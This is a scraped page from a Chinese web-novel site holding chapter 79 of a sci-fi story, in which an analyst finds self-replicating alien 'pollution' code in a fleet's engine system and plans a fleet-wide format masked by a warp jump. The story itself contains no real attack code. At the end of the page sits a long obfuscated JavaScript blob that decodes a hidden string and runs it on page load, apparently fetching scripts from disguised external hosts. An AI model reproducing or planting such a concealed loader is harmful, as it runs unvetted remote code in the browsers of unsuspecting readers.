首页
[切换至繁体版]
返回

第79章 污染根除

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第79章污染根除(第1/2页)
    “重置完成”的提示在光屏上亮了大概三秒,然后自动跳转到引擎控制模块的实时状态监控界面。
    林沫沫没动。
    她盯着那些平稳跳动的数据流,手指在控制板上悬着。
    不对劲。
    太干净了。
    刚才那波星兽能量过载冲刷,连带着把引擎指令集里一堆无关紧要的底层日志和缓存都冲掉了,按说系统自检应该会报一堆“数据丢失”或者“指令校验异常”的警告。
    但现在,光屏上干干净净。
    一个红点都没有。
    “秦副官,”林沫沫接通频道,“引擎自检报告发我看看,完整的底层日志。”
    “祖宗,刚折腾完,喘口气行不?”秦岳那边声音还有点飘,估计刚才那三十一秒也够他受的,“自检报告我扫了一眼,全绿,漂亮得很。你那‘格式化重装’大法,牛啊。”
    “就是因为太漂亮了。”林沫沫调出自检报告的原始数据流,开始一行行往下扒,“底层指令集被强行冲刷再回填,就像把一个人的脑子洗了再灌进去一套全新的记忆,中间怎么可能一点‘排异反应’都没有?至少得有短暂的逻辑混乱或者数据校验延迟。”
    她扒得飞快。
    扒到指令集最底层的第七序列,动态负载平衡算法的核心校验区时,停住了。
    那里有一小段代码。
    大概就十几行。
    看起来跟周围干净的基础指令模板融为一体,格式、注释、甚至缩进都一模一样。
    但林沫沫记得,她准备的那个纯净版基础指令模板里,这个位置应该是空的——因为动态负载平衡算法的核心校验逻辑,是由上层战术链动态生成的,底层只留接口。
    现在,接口里多了东西。
    “找到你了。”林沫沫低声说。
    她把这十几行代码单独拎出来,扔进反编译器。
    反编译结果跳出来。
    不是什么复杂的算法。
    就是一个很简单的“条件判断-自我复制”循环。
    条件:检测到周围指令环境为“纯净基础模板”。
    动作:从预设的七个隐藏数据节点里,随机抽取一个,复制一份自己的代码段,替换掉抽取节点里对应位置的“干净代码”。
    然后循环。
    “好家伙,”林沫沫看着这个逻辑,“这是‘野火烧不尽,春风吹又生’?我刚把地面上的草烧干净,地底下还埋着种子库,一检测到环境安全,立刻就开始偷偷发芽?”
    她立刻把这十几行代码和反编译分析打包,加密等级调到最高,发送地址:旗舰指挥室,陆墨染。
    报告标题她写得很直接:“紧急发现:引擎控制模块底层指令集重置后,残留污染逻辑碎片仍在尝试自我修复。修复模式:条件触发式隐蔽复制。建议:立即启动全舰核心系统底层格式化程序,彻底清除所有可能存在的污染种子节点。”
    ---
    旗舰指挥室。
    陆墨染刚看完林沫沫之前那份“重置完成”的报告,正准备调出她的个人档案加评价。
    新报告就弹出来了。
    他点开。
    看完那十几行代码的逻辑,眼神冷了。
    “秦岳。”陆墨染开口。
    “在!”
    “调取全舰核心系统底层格式化程序的风险预案。”陆墨染说,“我要知道,执行这个程序,舰队会付出什么代价。”
    “格式化程序?”秦岳愣了一下,手已经下意识在操作了,“将军,那玩意儿是核弹级别的……一旦启动,全舰所有核心系统——引擎、战术链、通讯、防御、甚至维生系统——的底层指令集全部归零,然后用舰队出厂时备份的绝对纯净模板重装。整个过程,舰队会变成一块飘在太空里的铁棺材,至少瘫痪四小时。”
    “风险。”陆墨染重复。
    “风险大了去了。”秦岳调出预案文档,“第一,四小时瘫痪期,万一虫子摸过来,咱们连跑都跑不了。第二,重装过程中,如果任何一个系统模块的回填出错,或者跟当前硬件不兼容,那个模块可能就直接废了。第三……这程序需要旗舰最高权限授权,将军,得您亲自按手印加虹膜扫描,系统才会启动。”
    陆墨染沉默了两秒。
    “授权流程,调出来。”他说。
    “将军!”秦岳还想劝。
    “调。”陆墨染声音不容置疑。
    “……是!”
    授权流程的光屏弹出来。
    密密麻麻的确认条款,红色警告框一个接一个。
    陆墨染扫了一眼,直接把手按在生物特征识别区。
    虹膜扫描。
    “旗舰最高权限持有者:陆墨染。确认启动全舰核心系统底层格式化程序预备流程。请再次确认:此操作不可逆,将导致舰队全面瘫痪,风险极高。”系统提示音响起。
    “确认。”陆墨染说。
    “预备流程已启动。格式化程序进入待触发状态。最终执行指令需在静默防御模式下,由权限持有者再次授权。”系统提示。
    陆墨染关掉授权界面。
    “接通林沫沫。”他说。
    ---
    A7分析室。
    林沫沫刚把那份自我修复代码的逻辑又扒了一遍,试图找出那七个“隐藏数据节点”的位置。
    频道接通了。
    “林沫沫。”陆墨染的声音传来。
    “在,将军。”
    “你的报告我看了。”陆墨染说,“格式化程序预备流程我已经启动。现在给你一个新任务:设计执行方案。要求:在格式化程序执行的四小时瘫痪期内,确保舰队绝对安全。同时,尽可能压缩瘫痪时间。”
    林沫沫深吸一口气。
    这活儿,比刚才在引擎脑干上蹦迪还刺激。
    “我需要知道舰队最近的跃迁计划。”她说,“格式化程序执行时,如果舰队正好处于跃迁状态——哪怕只是准备跃迁,空间能量波动会干扰所有外部传感器的探测精度。虫子们就算在附近,也很难锁定我们的精确坐标。”
    “跃迁计划……”陆墨染看向秦岳。
    秦岳立刻调出星图:“将军,按原定巡航路线,六小时后我们会经过K7跳跃点,进行一次短距战术跃迁,调整防线角度。”
    “六小时……”林沫沫快速心算,“够我设计方案了。但还有一个问题:格式化程序是‘全舰核心系统同步归零重装’,这个过程会产生巨大的内部数据流扰动。这种扰动,可能会被虫族的网络探测节点捕捉到,暴露我们的虚弱状态。”
    “所以?”陆墨染问。
    “所以,我们需要‘掩护’。”林沫沫说,“利用跃迁时的空间能量波动,不仅干扰外部传感器,也干扰我们内部的数据流扰动。把格式化程序产生的‘噪音’,混在跃迁的‘背景音’里,一起放出去。这样,就算虫子们听到了,也分不清哪部分是跃迁的正常波动,哪部分是我们在‘重装系统’。”
    (本章未完,请点击下一页继续阅读)第79章污染根除(第2/2页)
    陆墨染思考了几秒。
    “成功率?”
    “百分之八十。”林沫沫说,“前提是,跃迁的能量波动模式,必须和我设计的‘格式化噪音伪装波形’高度匹配。我需要旗舰引擎部门提供最近十次战术跃迁的完整能量波动数据,做波形拟合。”
    “给。”陆墨染说,“秦岳,把数据发过去。权限全开。”
    “明白!”
    数据流瞬间涌进A7分析室。
    林沫沫立刻开始干活。
    她先调出那套自我修复代码的逻辑,反向推导那七个“隐藏数据节点”可能的位置。
    推导了一会儿,她发现一件事。
    这七个节点的分布模式……很眼熟。
    她调出之前分析过的虫族跳跃网络拓扑图。
    把节点分布模式叠上去。
    相似度:百分之九十二。
    “秦副官,”林沫沫声音紧了,“新发现。污染逻辑碎片的自我修复节点分布模式,跟虫族跳跃网络节点的重建逻辑,几乎一模一样。这不是简单的系统后门……这是虫族网络攻击的延伸。它们把我们的核心系统,当成它们跳跃网络的‘备用节点’在污染和修复。”
    她把比对图打包,再次加密发送。
    报告标题:“关联确认:污染自我修复逻辑与虫族跳跃网络节点重建模式高度相似。污染是虫族系统性网络攻击的一部分。”
    ---
    指挥室里。
    陆墨染看着那份比对图。
    光屏上,两个网络拓扑图几乎重叠。
    一个,是虫族在星空里构建的跳跃网络。
    另一个,是虫族试图在黎明舰队核心系统里构建的“污染修复网络”。
    “好手段。”陆墨染低声说。
    虫子们不仅想偷数据、搞破坏。
    它们还想把联邦最精锐的舰队,变成它们网络的一部分。
    “秦岳。”陆墨染开口。
    “在!”
    “命令全舰队,立即进入静默防御模式。”陆墨染说,“所有非必要能源输出降至最低,所有外部通讯转为被动接收,所有主动传感器关闭。我们要变成一块‘石头’,直到格式化程序执行完成。”
    “明白!”秦岳立刻操作。
    全舰队广播指令发出。
    没有声音,没有闪光。
    但所有舰船的引擎嗡鸣声,再次低了下去。
    像一头巨兽,彻底屏住了呼吸。
    “另外,”陆墨染接通林沫沫的频道,“林沫沫。”
    “在,将军。”
    “关联分析我看了。”陆墨染说,“你的判断是对的。现在,专注设计格式化程序的执行方案。我要一个完整的、可操作的方案框架,两小时内完成。”
    “明白。”
    频道关闭。
    陆墨染调出林沫沫的个人档案。
    在最近那条“具备极限环境战术创新能力”下面,输入新的一行:
    【星历172.8.8,于A7分析室设计后续污染根除方案时,发现引擎控制模块底层指令集重置后残留污染逻辑碎片仍在尝试自我修复,立即加密上报并建议启动全舰核心系统底层格式化程序。随后分析残留碎片,发现其修复模式与虫族跳跃网络节点重建逻辑高度相似,证实污染是虫族网络攻击的延伸。现已根据命令设计格式化程序执行方案。具备系统性根除威胁设计能力。】
    保存。
    关掉档案。
    他看向星图。
    六小时后,K7跳跃点。
    要么,林沫沫设计的方案成功,舰队在跃迁掩护下完成“系统重装”,把虫子们埋了十年的根彻底刨掉。
    要么,舰队在四小时瘫痪期里,被虫子们当活靶子打。
    没有中间选项。
    “秦岳。”陆墨染开口。
    “在!”
    “通知各舰长,静默防御模式持续到进一步指令。”陆墨染说,“另外,调整舰队阵型,六小时后,我们要以最佳角度切入K7跳跃点。跃迁的能量波动,我要放到最大。”
    “明白!”
    ---
    A7分析室。
    林沫沫盯着光屏上那十次战术跃迁的能量波动数据。
    手指在控制板上敲得飞快。
    她在设计一个“波形伪装器”。
    核心逻辑很简单:实时监控格式化程序执行时产生的内部数据流扰动,然后生成一段和跃迁能量波动一模一样的“伪装波形”,把扰动信号完美覆盖掉。
    难点在于,怎么让这个“伪装器”本身,不被格式化程序当成“污染代码”一起格式化掉。
    “得给它找个‘安全屋’。”林沫沫心想。
    她快速浏览舰队核心系统的架构图。
    找了一圈,锁定了一个地方:旗舰的备用导航核心。
    那是个独立模块,平时只做数据备份用,不参与实时指挥。而且,它的底层指令集是二十年前的老版本,跟当前系统完全不兼容——但也正因为不兼容,虫族的污染代码很可能没渗透进去。
    “就这儿了。”林沫沫把“波形伪装器”的代码,打包成一个独立的数据包,标记为“导航核心历史数据归档”,悄悄塞进了备用导航核心的存储区。
    然后,她开始写触发逻辑。
    触发条件:舰队进入跃迁状态,且格式化程序启动。
    触发动作:从“安全屋”里激活伪装器,开始工作。
    两小时倒计时,还剩最后十分钟。
    林沫沫敲完最后一行代码,把整个方案框架打包,加密发送指挥室。
    方案标题:“格式化程序执行方案框架。核心:利用K7跳跃点战术跃迁空间能量波动作为掩护,同步执行全舰核心系统底层格式化。伪装机制:备用导航核心隐藏波形伪装器。预估瘫痪时间
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();